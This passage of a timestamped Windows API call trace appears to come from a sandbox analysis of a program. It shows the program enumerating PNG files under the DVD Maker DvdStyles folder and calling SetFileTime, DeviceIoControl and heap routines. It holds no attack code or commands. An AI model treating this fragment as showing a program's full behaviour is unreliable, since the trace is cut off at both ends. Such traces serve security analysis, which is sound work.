ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0067.376] GetLastError () returned 0x12 [0067.376] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.376] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.377] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0067.377] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.377] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0067.377] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfcfc18 [0067.378] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfcfc18, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfcfc18, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfcfc18) returned 1 [0067.378] NtClose (Handle=0x148) returned 0x0 [0067.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.378] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.421] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.421] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0067.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.421] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.421] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcab48 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcb778 [0067.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.422] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcab68 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.422] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcab88 [0067.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcb880 [0067.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcaba8 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcb988 [0067.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcabc8 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcba90 [0067.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcabe8 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcbb98 [0067.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.424] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcac08 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcbca0 [0067.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.424] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcac28 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcbda8 [0067.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.424] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.424] RtlAllocateHeap 